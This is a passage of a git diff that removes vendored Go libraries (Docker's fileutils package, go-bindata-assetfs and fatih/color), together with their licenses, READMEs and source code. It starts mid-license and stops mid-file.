trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - Copyright 2013-2017 Docker, Inc. - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - https://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/github.com/docker/docker/NOTICE b/vendor/github.com/docker/docker/NOTICE deleted file mode 100644 index 0c74e15b05..0000000000 --- a/vendor/github.com/docker/docker/NOTICE +++ /dev/null @@ -1,19 +0,0 @@ -Docker -Copyright 2012-2017 Docker, Inc. - -This product includes software developed at Docker, Inc. (https://www.docker.com). - -This product contains software (https://github.com/kr/pty) developed -by Keith Rarick, licensed under the MIT License. - -The following is courtesy of our legal counsel: - - -Use and transfer of Docker may be subject to certain restrictions by the -United States and other governments. -It is your responsibility to ensure that your use and/or transfer does not -violate applicable laws. - -For more information, please see https://www.bis.doc.gov - -See also https://www.apache.org/dev/crypto.html and/or seek legal counsel. diff --git a/vendor/github.com/docker/docker/pkg/fileutils/fileutils.go b/vendor/github.com/docker/docker/pkg/fileutils/fileutils.go deleted file mode 100644 index 28cad499aa..0000000000 --- a/vendor/github.com/docker/docker/pkg/fileutils/fileutils.go +++ /dev/null @@ -1,298 +0,0 @@ -package fileutils // import "github.com/docker/docker/pkg/fileutils" - -import ( - "errors" - "fmt" - "io" - "os" - "path/filepath" - "regexp" - "strings" - "text/scanner" - - "github.com/sirupsen/logrus" -) - -// PatternMatcher allows checking paths against a list of patterns -type PatternMatcher struct { - patterns []*Pattern - exclusions bool -} - -// NewPatternMatcher creates a new matcher object for specific patterns that can -// be used later to match against patterns against paths -func NewPatternMatcher(patterns []string) (*PatternMatcher, error) { - pm := &PatternMatcher{ - patterns: make([]*Pattern, 0, len(patterns)), - } - for _, p := range patterns { - // Eliminate leading and trailing whitespace. - p = strings.TrimSpace(p) - if p == "" { - continue - } - p = filepath.Clean(p) - newp := &Pattern{} - if p[0] == '!' { - if len(p) == 1 { - return nil, errors.New("illegal exclusion pattern: \"!\"") - } - newp.exclusion = true - p = p[1:] - pm.exclusions = true - } - // Do some syntax checking on the pattern. - // filepath's Match() has some really weird rules that are inconsistent - // so instead of trying to dup their logic, just call Match() for its - // error state and if there is an error in the pattern return it. - // If this becomes an issue we can remove this since its really only - // needed in the error (syntax) case - which isn't really critical. - if _, err := filepath.Match(p, "."); err != nil { - return nil, err - } - newp.cleanedPattern = p - newp.dirs = strings.Split(p, string(os.PathSeparator)) - pm.patterns = append(pm.patterns, newp) - } - return pm, nil -} - -// Matches matches path against all the patterns. Matches is not safe to be -// called concurrently -func (pm *PatternMatcher) Matches(file string) (bool, error) { - matched := false - file = filepath.FromSlash(file) - parentPath := filepath.Dir(file) - parentPathDirs := strings.Split(parentPath, string(os.PathSeparator)) - - for _, pattern := range pm.patterns { - negative := false - - if pattern.exclusion { - negative = true - } - - match, err := pattern.match(file) - if err != nil { - return false, err - } - - if !match && parentPath != "." { - // Check to see if the pattern matches one of our parent dirs. - if len(pattern.dirs) <= len(parentPathDirs) { - match, _ = pattern.match(strings.Join(parentPathDirs[:len(pattern.dirs)], string(os.PathSeparator))) - } - } - - if match { - matched = !negative - } - } - - if matched { - logrus.Debugf("Skipping excluded path: %s", file) - } - - return matched, nil -} - -// Exclusions returns true if any of the patterns define exclusions -func (pm *PatternMatcher) Exclusions() bool { - return pm.exclusions -} - -// Patterns returns array of active patterns -func (pm *PatternMatcher) Patterns() []*Pattern { - return pm.patterns -} - -// Pattern defines a single regexp used used to filter file paths. -type Pattern struct { - cleanedPattern string - dirs []string - regexp *regexp.Regexp - exclusion bool -} - -func (p *Pattern) String() string { - return p.cleanedPattern -} - -// Exclusion returns true if this pattern defines exclusion -func (p *Pattern) Exclusion() bool { - return p.exclusion -} - -func (p *Pattern) match(path string) (bool, error) { - - if p.regexp == nil { - if err := p.compile(); err != nil { - return false, filepath.ErrBadPattern - } - } - - b := p.regexp.MatchString(path) - - return b, nil -} - -func (p *Pattern) compile() error { - regStr := "^" - pattern := p.cleanedPattern - // Go through the pattern and convert it to a regexp. - // We use a scanner so we can support utf-8 chars. - var scan scanner.Scanner - scan.Init(strings.NewReader(pattern)) - - sl := string(os.PathSeparator) - escSL := sl - if sl == `\` { - escSL += `\` - } - - for scan.Peek() != scanner.EOF { - ch := scan.Next() - - if ch == '*' { - if scan.Peek() == '*' { - // is some flavor of "**" - scan.Next() - - // Treat **/ as ** so eat the "/" - if string(scan.Peek()) == sl { - scan.Next() - } - - if scan.Peek() == scanner.EOF { - // is "**EOF" - to align with .gitignore just accept all - regStr += ".*" - } else { - // is "**" - // Note that this allows for any # of /'s (even 0) because - // the .* will eat everything, even /'s - regStr += "(.*" + escSL + ")?" - } - } else { - // is "*" so map it to anything but "/" - regStr += "[^" + escSL + "]*" - } - } else if ch == '?' { - // "?" is any char except "/" - regStr += "[^" + escSL + "]" - } else if ch == '.' || ch == '$' { - // Escape some regexp special chars that have no meaning - // in golang's filepath.Match - regStr += `\` + string(ch) - } else if ch == '\\' { - // escape next char. Note that a trailing \ in the pattern - // will be left alone (but need to escape it) - if sl == `\` { - // On windows map "\" to "\\", meaning an escaped backslash, - // and then just continue because filepath.Match on - // Windows doesn't allow escaping at all - regStr += escSL - continue - } - if scan.Peek() != scanner.EOF { - regStr += `\` + string(scan.Next()) - } else { - regStr += `\` - } - } else { - regStr += string(ch) - } - } - - regStr += "$" - - re, err := regexp.Compile(regStr) - if err != nil { - return err - } - - p.regexp = re - return nil -} - -// Matches returns true if file matches any of the patterns -// and isn't excluded by any of the subsequent patterns. -func Matches(file string, patterns []string) (bool, error) { - pm, err := NewPatternMatcher(patterns) - if err != nil { - return false, err - } - file = filepath.Clean(file) - - if file == "." { - // Don't let them exclude everything, kind of silly. - return false, nil - } - - return pm.Matches(file) -} - -// CopyFile copies from src to dst until either EOF is reached -// on src or an error occurs. It verifies src exists and removes -// the dst if it exists. -func CopyFile(src, dst string) (int64, error) { - cleanSrc := filepath.Clean(src) - cleanDst := filepath.Clean(dst) - if cleanSrc == cleanDst { - return 0, nil - } - sf, err := os.Open(cleanSrc) - if err != nil { - return 0, err - } - defer sf.Close() - if err := os.Remove(cleanDst); err != nil && !os.IsNotExist(err) { - return 0, err - } - df, err := os.Create(cleanDst) - if err != nil { - return 0, err - } - defer df.Close() - return io.Copy(df, sf) -} - -// ReadSymlinkedDirectory returns the target directory of a symlink. -// The target of the symbolic link may not be a file. -func ReadSymlinkedDirectory(path string) (string, error) { - var realPath string - var err error - if realPath, err = filepath.Abs(path); err != nil { - return "", fmt.Errorf("unable to get absolute path for %s: %s", path, err) - } - if realPath, err = filepath.EvalSymlinks(realPath); err != nil { - return "", fmt.Errorf("failed to canonicalise path for %s: %s", path, err) - } - realPathInfo, err := os.Stat(realPath) - if err != nil { - return "", fmt.Errorf("failed to stat target '%s' of '%s': %s", realPath, path, err) - } - if !realPathInfo.Mode().IsDir() { - return "", fmt.Errorf("canonical path points to a file '%s'", realPath) - } - return realPath, nil -} - -// CreateIfNotExists creates a file or a directory only if it does not already exist. -func CreateIfNotExists(path string, isDir bool) error { - if _, err := os.Stat(path); err != nil { - if os.IsNotExist(err) { - if isDir { - return os.MkdirAll(path, 0755) - } - if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil { - return err - } - f, err := os.OpenFile(path, os.O_CREATE, 0755) - if err != nil { - return err - } - f.Close() - } - } - return nil -} diff --git a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_darwin.go b/vendor/github.com/docker/docker/pkg/fileutils/fileutils_darwin.go deleted file mode 100644 index e40cc271b3..0000000000 --- a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_darwin.go +++ /dev/null @@ -1,27 +0,0 @@ -package fileutils // import "github.com/docker/docker/pkg/fileutils" - -import ( - "os" - "os/exec" - "strconv" - "strings" -) - -// GetTotalUsedFds returns the number of used File Descriptors by -// executing `lsof -p PID` -func GetTotalUsedFds() int { - pid := os.Getpid() - - cmd := exec.Command("lsof", "-p", strconv.Itoa(pid)) - - output, err := cmd.CombinedOutput() - if err != nil { - return -1 - } - - outputStr := strings.TrimSpace(string(output)) - - fds := strings.Split(outputStr, "\n") - - return len(fds) - 1 -} diff --git a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_unix.go b/vendor/github.com/docker/docker/pkg/fileutils/fileutils_unix.go deleted file mode 100644 index 565396f1c7..0000000000 --- a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_unix.go +++ /dev/null @@ -1,22 +0,0 @@ -// +build linux freebsd - -package fileutils // import "github.com/docker/docker/pkg/fileutils" - -import ( - "fmt" - "io/ioutil" - "os" - - "github.com/sirupsen/logrus" -) - -// GetTotalUsedFds Returns the number of used File Descriptors by -// reading it via /proc filesystem. -func GetTotalUsedFds() int { - if fds, err := ioutil.ReadDir(fmt.Sprintf("/proc/%d/fd", os.Getpid())); err != nil { - logrus.Errorf("Error opening /proc/%d/fd: %s", os.Getpid(), err) - } else { - return len(fds) - } - return -1 -} diff --git a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_windows.go b/vendor/github.com/docker/docker/pkg/fileutils/fileutils_windows.go deleted file mode 100644 index 3f1ebb6567..0000000000 --- a/vendor/github.com/docker/docker/pkg/fileutils/fileutils_windows.go +++ /dev/null @@ -1,7 +0,0 @@ -package fileutils // import "github.com/docker/docker/pkg/fileutils" - -// GetTotalUsedFds Returns the number of used File Descriptors. Not supported -// on Windows. -func GetTotalUsedFds() int { - return -1 -} diff --git a/vendor/github.com/elazarl/go-bindata-assetfs/LICENSE b/vendor/github.com/elazarl/go-bindata-assetfs/LICENSE deleted file mode 100644 index 5782c72690..0000000000 --- a/vendor/github.com/elazarl/go-bindata-assetfs/LICENSE +++ /dev/null @@ -1,23 +0,0 @@ -Copyright (c) 2014, Elazar Leibovich -All rights reserved. - -Redistribution and use in source and binary forms, with or without -modification, are permitted provided that the following conditions are met: - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. - -* Redistributions in binary form must reproduce the above copyright notice, - this list of conditions and the following disclaimer in the documentation - and/or other materials provided with the distribution. - -THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" -AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE -IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE -FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL -DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR -SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER -CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, -OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE -OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/github.com/elazarl/go-bindata-assetfs/README.md b/vendor/github.com/elazarl/go-bindata-assetfs/README.md deleted file mode 100644 index 27ee48f09d..0000000000 --- a/vendor/github.com/elazarl/go-bindata-assetfs/README.md +++ /dev/null @@ -1,46 +0,0 @@ -# go-bindata-assetfs - -Serve embedded files from [jteeuwen/go-bindata](https://github.com/jteeuwen/go-bindata) with `net/http`. - -[GoDoc](http://godoc.org/github.com/elazarl/go-bindata-assetfs) - -### Installation - -Install with - - $ go get github.com/jteeuwen/go-bindata/... - $ go get github.com/elazarl/go-bindata-assetfs/... - -### Creating embedded data - -Usage is identical to [jteeuwen/go-bindata](https://github.com/jteeuwen/go-bindata) usage, -instead of running `go-bindata` run `go-bindata-assetfs`. - -The tool will create a `bindata_assetfs.go` file, which contains the embedded data. - -A typical use case is - - $ go-bindata-assetfs data/... - -### Using assetFS in your code - -The generated file provides an `assetFS()` function that returns a `http.Filesystem` -wrapping the embedded files. What you usually want to do is: - - http.Handle("/", http.FileServer(assetFS())) - -This would run an HTTP server serving the embedded files. - -## Without running binary tool - -You can always just run the `go-bindata` tool, and then - -use - - import "github.com/elazarl/go-bindata-assetfs" - ... - http.Handle("/", - http.FileServer( - &assetfs.AssetFS{Asset: Asset, AssetDir: AssetDir, AssetInfo: AssetInfo, Prefix: "data"})) - -to serve files embedded from the `data` directory. diff --git a/vendor/github.com/elazarl/go-bindata-assetfs/assetfs.go b/vendor/github.com/elazarl/go-bindata-assetfs/assetfs.go deleted file mode 100644 index 04f6d7a39d..0000000000 --- a/vendor/github.com/elazarl/go-bindata-assetfs/assetfs.go +++ /dev/null @@ -1,167 +0,0 @@ -package assetfs - -import ( - "bytes" - "errors" - "io" - "io/ioutil" - "net/http" - "os" - "path" - "path/filepath" - "strings" - "time" -) - -var ( - defaultFileTimestamp = time.Now() -) - -// FakeFile implements os.FileInfo interface for a given path and size -type FakeFile struct { - // Path is the path of this file - Path string - // Dir marks of the path is a directory - Dir bool - // Len is the length of the fake file, zero if it is a directory - Len int64 - // Timestamp is the ModTime of this file - Timestamp time.Time -} - -func (f *FakeFile) Name() string { - _, name := filepath.Split(f.Path) - return name -} - -func (f *FakeFile) Mode() os.FileMode { - mode := os.FileMode(0644) - if f.Dir { - return mode | os.ModeDir - } - return mode -} - -func (f *FakeFile) ModTime() time.Time { - return f.Timestamp -} - -func (f *FakeFile) Size() int64 { - return f.Len -} - -func (f *FakeFile) IsDir() bool { - return f.Mode().IsDir() -} - -func (f *FakeFile) Sys() interface{} { - return nil -} - -// AssetFile implements http.File interface for a no-directory file with content -type AssetFile struct { - *bytes.Reader - io.Closer - FakeFile -} - -func NewAssetFile(name string, content []byte, timestamp time.Time) *AssetFile { - if timestamp.IsZero() { - timestamp = defaultFileTimestamp - } - return &AssetFile{ - bytes.NewReader(content), - ioutil.NopCloser(nil), - FakeFile{name, false, int64(len(content)), timestamp}} -} - -func (f *AssetFile) Readdir(count int) ([]os.FileInfo, error) { - return nil, errors.New("not a directory") -} - -func (f *AssetFile) Size() int64 { - return f.FakeFile.Size() -} - -func (f *AssetFile) Stat() (os.FileInfo, error) { - return f, nil -} - -// AssetDirectory implements http.File interface for a directory -type AssetDirectory struct { - AssetFile - ChildrenRead int - Children []os.FileInfo -} - -func NewAssetDirectory(name string, children []string, fs *AssetFS) *AssetDirectory { - fileinfos := make([]os.FileInfo, 0, len(children)) - for _, child := range children { - _, err := fs.AssetDir(filepath.Join(name, child)) - fileinfos = append(fileinfos, &FakeFile{child, err == nil, 0, time.Time{}}) - } - return &AssetDirectory{ - AssetFile{ - bytes.NewReader(nil), - ioutil.NopCloser(nil), - FakeFile{name, true, 0, time.Time{}}, - }, - 0, - fileinfos} -} - -func (f *AssetDirectory) Readdir(count int) ([]os.FileInfo, error) { - if count <= 0 { - return f.Children, nil - } - if f.ChildrenRead+count > len(f.Children) { - count = len(f.Children) - f.ChildrenRead - } - rv := f.Children[f.ChildrenRead : f.ChildrenRead+count] - f.ChildrenRead += count - return rv, nil -} - -func (f *AssetDirectory) Stat() (os.FileInfo, error) { - return f, nil -} - -// AssetFS implements http.FileSystem, allowing -// embedded files to be served from net/http package. -type AssetFS struct { - // Asset should return content of file in path if exists - Asset func(path string) ([]byte, error) - // AssetDir should return list of files in the path - AssetDir func(path string) ([]string, error) - // AssetInfo should return the info of file in path if exists - AssetInfo func(path string) (os.FileInfo, error) - // Prefix would be prepended to http requests - Prefix string -} - -func (fs *AssetFS) Open(name string) (http.File, error) { - name = path.Join(fs.Prefix, name) - if len(name) > 0 && name[0] == '/' { - name = name[1:] - } - if b, err := fs.Asset(name); err == nil { - timestamp := defaultFileTimestamp - if fs.AssetInfo != nil { - if info, err := fs.AssetInfo(name); err == nil { - timestamp = info.ModTime() - } - } - return NewAssetFile(name, b, timestamp), nil - } - if children, err := fs.AssetDir(name); err == nil { - return NewAssetDirectory(name, children, fs), nil - } else { - // If the error is not found, return an error that will - // result in a 404 error. Otherwise the server returns - // a 500 error for files not found. - if strings.Contains(err.Error(), "not found") { - return nil, os.ErrNotExist - } - return nil, err - } -} diff --git a/vendor/github.com/elazarl/go-bindata-assetfs/doc.go b/vendor/github.com/elazarl/go-bindata-assetfs/doc.go deleted file mode 100644 index a664249f34..0000000000 --- a/vendor/github.com/elazarl/go-bindata-assetfs/doc.go +++ /dev/null @@ -1,13 +0,0 @@ -// assetfs allows packages to serve static content embedded -// with the go-bindata tool with the standard net/http package. -// -// See https://github.com/jteeuwen/go-bindata for more information -// about embedding binary data with go-bindata. -// -// Usage example, after running -// $ go-bindata data/... -// use: -// http.Handle("/", -// http.FileServer( -// &assetfs.AssetFS{Asset: Asset, AssetDir: AssetDir, Prefix: "data"})) -package assetfs diff --git a/vendor/github.com/fatih/color/.travis.yml b/vendor/github.com/fatih/color/.travis.yml deleted file mode 100644 index 95f8a1ff5c..0000000000 --- a/vendor/github.com/fatih/color/.travis.yml +++ /dev/null @@ -1,5 +0,0 @@ -language: go -go: - - 1.8.x - - tip - diff --git a/vendor/github.com/fatih/color/Gopkg.lock b/vendor/github.com/fatih/color/Gopkg.lock deleted file mode 100644 index 7d879e9caf..0000000000 --- a/vendor/github.com/fatih/color/Gopkg.lock +++ /dev/null @@ -1,27 +0,0 @@ -# This file is autogenerated, do not edit; changes may be undone by the next 'dep ensure'. - - -[[projects]] - name = "github.com/mattn/go-colorable" - packages = ["."] - revision = "167de6bfdfba052fa6b2d3664c8f5272e23c9072" - version = "v0.0.9" - -[[projects]] - name = "github.com/mattn/go-isatty" - packages = ["."] - revision = "0360b2af4f38e8d38c7fce2a9f4e702702d73a39" - version = "v0.0.3" - -[[projects]] - branch = "master" - name = "golang.org/x/sys" - packages = ["unix"] - revision = "37707fdb30a5b38865cfb95e5aab41707daec7fd" - -[solve-meta] - analyzer-name = "dep" - analyzer-version = 1 - inputs-digest = "e8a50671c3cb93ea935bf210b1cd20702876b9d9226129be581ef646d1565cdc" - solver-name = "gps-cdcl" - solver-version = 1 diff --git a/vendor/github.com/fatih/color/Gopkg.toml b/vendor/github.com/fatih/color/Gopkg.toml deleted file mode 100644 index ff1617f71d..0000000000 --- a/vendor/github.com/fatih/color/Gopkg.toml +++ /dev/null @@ -1,30 +0,0 @@ - -# Gopkg.toml example -# -# Refer to https://github.com/golang/dep/blob/master/docs/Gopkg.toml.md -# for detailed Gopkg.toml documentation. -# -# required = ["github.com/user/thing/cmd/thing"] -# ignored = ["github.com/user/project/pkgX", "bitbucket.org/user/project/pkgA/pkgY"] -# -# [[constraint]] -# name = "github.com/user/project" -# version = "1.0.0" -# -# [[constraint]] -# name = "github.com/user/project2" -# branch = "dev" -# source = "github.com/myfork/project2" -# -# [[override]] -# name = "github.com/x/y" -# version = "2.4.0" - - -[[constraint]] - name = "github.com/mattn/go-colorable" - version = "0.0.9" - -[[constraint]] - name = "github.com/mattn/go-isatty" - version = "0.0.3" diff --git a/vendor/github.com/fatih/color/LICENSE.md b/vendor/github.com/fatih/color/LICENSE.md deleted file mode 100644 index 25fdaf639d..0000000000 --- a/vendor/github.com/fatih/color/LICENSE.md +++ /dev/null @@ -1,20 +0,0 @@ -The MIT License (MIT) - -Copyright (c) 2013 Fatih Arslan - -Permission is hereby granted, free of charge, to any person obtaining a copy of -this software and associated documentation files (the "Software"), to deal in -the Software without restriction, including without limitation the rights to -use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of -the Software, and to permit persons to whom the Software is furnished to do so, -subject to the following conditions: - -The above copyright notice and this permission notice shall be included in all -copies or substantial portions of the Software. - -THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS -FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR -COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER -IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN -CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. diff --git a/vendor/github.com/fatih/color/README.md b/vendor/github.com/fatih/color/README.md deleted file mode 100644 index 3fc9544602..0000000000 --- a/vendor/github.com/fatih/color/README.md +++ /dev/null @@ -1,179 +0,0 @@ -# Color [![GoDoc](https://godoc.org/github.com/fatih/color?status.svg)](https://godoc.org/github.com/fatih/color) [![Build Status](https://img.shields.io/travis/fatih/color.svg?style=flat-square)](https://travis-ci.org/fatih/color) - - - -Color lets you use colorized outputs in terms of [ANSI Escape -Codes](http://en.wikipedia.org/wiki/ANSI_escape_code#Colors) in Go (Golang). It -has support for Windows too! The API can be used in several ways, pick one that -suits you. - - -![Color](https://i.imgur.com/c1JI0lA.png) - - -## Install - -```bash -go get github.com/fatih/color -``` - -Note that the `vendor` folder is here for stability. Remove the folder if you -already have the dependencies in your GOPATH. - -## Examples - -### Standard colors - -```go -// Print with default helper functions -color.Cyan("Prints text in cyan.") - -// A newline will be appended automatically -color.Blue("Prints %s in blue.", "text") - -// These are using the default foreground colors -color.Red("We have red") -color.Magenta("And many others ..") - -``` - -### Mix and reuse colors - -```go -// Create a new color object -c := color.New(color.FgCyan).Add(color.Underline) -c.Println("Prints cyan text with an underline.") - -// Or just add them to New() -d := color.New(color.FgCyan, color.Bold) -d.Printf("This prints bold cyan %s\n", "too!.") - -// Mix up foreground and background colors, create new mixes! -red := color.New(color.FgRed) - -boldRed := red.Add(color.Bold) -boldRed.Println("This will print text in bold red.") - -whiteBackground := red.Add(color.BgWhite) -whiteBackground.Println("Red text with white background.") -``` - -### Use your own output (io.Writer) - -```go -// Use your own io.Writer output -color.New(color.FgBlue).Fprintln(myWriter, "blue color!") - -blue := color.New(color.FgBlue) -blue.Fprint(writer, "This will print text in blue.") -``` - -### Custom print functions (PrintFunc) - -```go -// Create a custom print function for convenience -red := color.New(color.FgRed).PrintfFunc() -red("Warning") -red("Error: %s", err) - -// Mix up multiple attributes -notice := color.New(color.Bold, color.FgGreen).PrintlnFunc() -notice("Don't forget this...") -``` - -### Custom fprint functions (FprintFunc) - -```go -blue := color.New(FgBlue).FprintfFunc() -blue(myWriter, "important notice: %s", stars) - -// Mix up with multiple attributes -success := color.New(color.Bold, color.FgGreen).FprintlnFunc() -success(myWriter, "Don't forget this...") -``` - -### Insert into noncolor strings (SprintFunc) - -```go -// Create SprintXxx functions to mix strings with other non-colorized strings: -yellow := color.New(color.FgYellow).SprintFunc() -red := color.New(color.FgRed).SprintFunc() -fmt.Printf("This is a %s and this is %s.\n", yellow("warning"), red("error")) - -info := color.New(color.FgWhite, color.BgGreen).SprintFunc() -fmt.Printf("This %s rocks!\n", info("package")) - -// Use helper functions -fmt.Println("This", color.RedString("warning"), "should be not neglected.") -fmt.Printf("%v %v\n", color.GreenString("Info:"), "an important message.") - -// Windows supported too! Just don't forget to change the output to color.Output -fmt.Fprintf(color.Output, "Windows support: %s", color.GreenString("PASS")) -``` - -### Plug into existing code - -```go -// Use handy standard colors -color.Set(color.FgYellow) - -fmt.Println("Existing text will now be in yellow") -fmt.Printf("This one %s\n", "too") - -color.Unset() // Don't forget to unset - -// You can mix up parameters -color.Set(color.FgMagenta, color.Bold) -defer color.Unset() // Use it in your function - -fmt.Println("All text will now be bold magenta.") -``` - -### Disable/Enable color - -There might be a case where you want to explicitly disable/enable color output. the -`go-isatty` package will automatically disable color output for non-tty output streams -(for example if the output were piped directly to `less`) - -`Color` has support to disable/enable colors both globally and for single color -definitions. For example suppose you have a CLI app and a `--no-color` bool flag. You -can easily disable the color output with: - -```go - -var flagNoColor = flag.Bool("no-color", false, "Disable color output") - -if *flagNoColor { - color.NoColor = true // disables colorized output -} -``` - -It also has support for single color definitions (local). You can -disable/enable color output on the fly: - -```go -c := color.New(color.FgCyan) -c.Println("Prints cyan text") - -c.DisableColor() -c.Println("This is printed without any color") - -c.EnableColor() -c.Println("This prints again cyan...") -``` - -## Todo - -* Save/Return previous values -* Evaluate fmt.Formatter interface - - -## Credits - - * [Fatih Arslan](https://github.com/fatih) - * Windows support via @mattn: [colorable](https://github.com/mattn/go-colorable) - -## License - -The MIT License (MIT) - see [`LICENSE.md`](https://github.com/fatih/color/blob/master/LICENSE.md) for more details - diff --git a/vendor/github.com/fatih/color/color.go b/vendor/github.com/fatih/color/color.go deleted file mode 100644 index 91c8e9f062..0000000000 --- a/vendor/github.com/fatih/color/color.go +++ /dev/null @@ -1,603 +0,0 @@ -package color - -import ( - "fmt" - "io" - "os" - "strconv" - "strings" - "sync" - - "github.com/mattn/go-colorable" - "github.com/mattn/go-isatty" -) - -var ( - // NoColor defines if the output is colorized or not. It's dynamically set to - // false or true based on the stdout's file descriptor referring to a terminal - // or not. This is a global option and affects all colors. For more control - // over each color block use the methods DisableColor() individually. - NoColor = os.Getenv("TERM") == "dumb" || - (!isatty.IsTerminal(os.Stdout.Fd()) && !isatty.IsCygwinTerminal(os.Stdout.Fd())) - - // Output defines the standard output of the print functions. By default - // os.Stdout is used. - Output = colorable.NewColorableStdout() - - // Error defines a color supporting writer for os.Stderr. - Error = colorable.NewColorableStderr() - - // colorsCache is used to reduce the count of created Color objects and - // allows to reuse already created objects with required Attribute. - colorsCache = make(map[Attribute]*Color) - colorsCacheMu sync.Mutex // protects colorsCache -) - -// Color defines a custom color object which is defined by SGR parameters. -type Color struct { - params []Attribute - noColor *bool -} - -// Attribute defines a single SGR Code -type Attribute int - -const escape = "\x1b" - -// Base attributes -const ( - Reset Attribute = iota - Bold - Faint - Italic - Underline - BlinkSlow - BlinkRapid - ReverseVideo - Concealed - CrossedOut -) - -// Foreground text colors -const ( - FgBlack Attribute = iota + 30 - FgRed - FgGreen - FgYellow - FgBlue - FgMagenta - FgCyan - FgWhite -) - -// Foreground Hi-Intensity text colors -const ( - FgHiBlack Attribute = iota + 90 - FgHiRed - FgHiGreen - FgHiYellow - FgHiBlue - FgHiMagenta - FgHiCyan - FgHiWhite -) - -// Background text colors -const ( - BgBlack Attribute = iota + 40 - BgRed - BgGreen - BgYellow - BgBlue - BgMagenta - BgCyan - BgWhite -) - -// Background Hi-Intensity text colors -const ( - BgHiBlack Attribute = iota + 100 - BgHiRed - BgHiGreen - BgHiYellow - BgHiBlue - BgHiMagenta - BgHiCyan - BgHiWhite -) - -// New returns a newly created color object. -func New(value ...Attribute) *Color { - c := &Color{params: make([]Attribute, 0)} - c.Add(value...) - return c -} - -// Set sets the given parameters immediately. It will change the color of -// output with the given SGR parameters until color.Unset() is called. -func Set(p ...Attribute) *Color { - c := New(p...) - c.Set() - return c -} - -// Unset resets all escape attributes 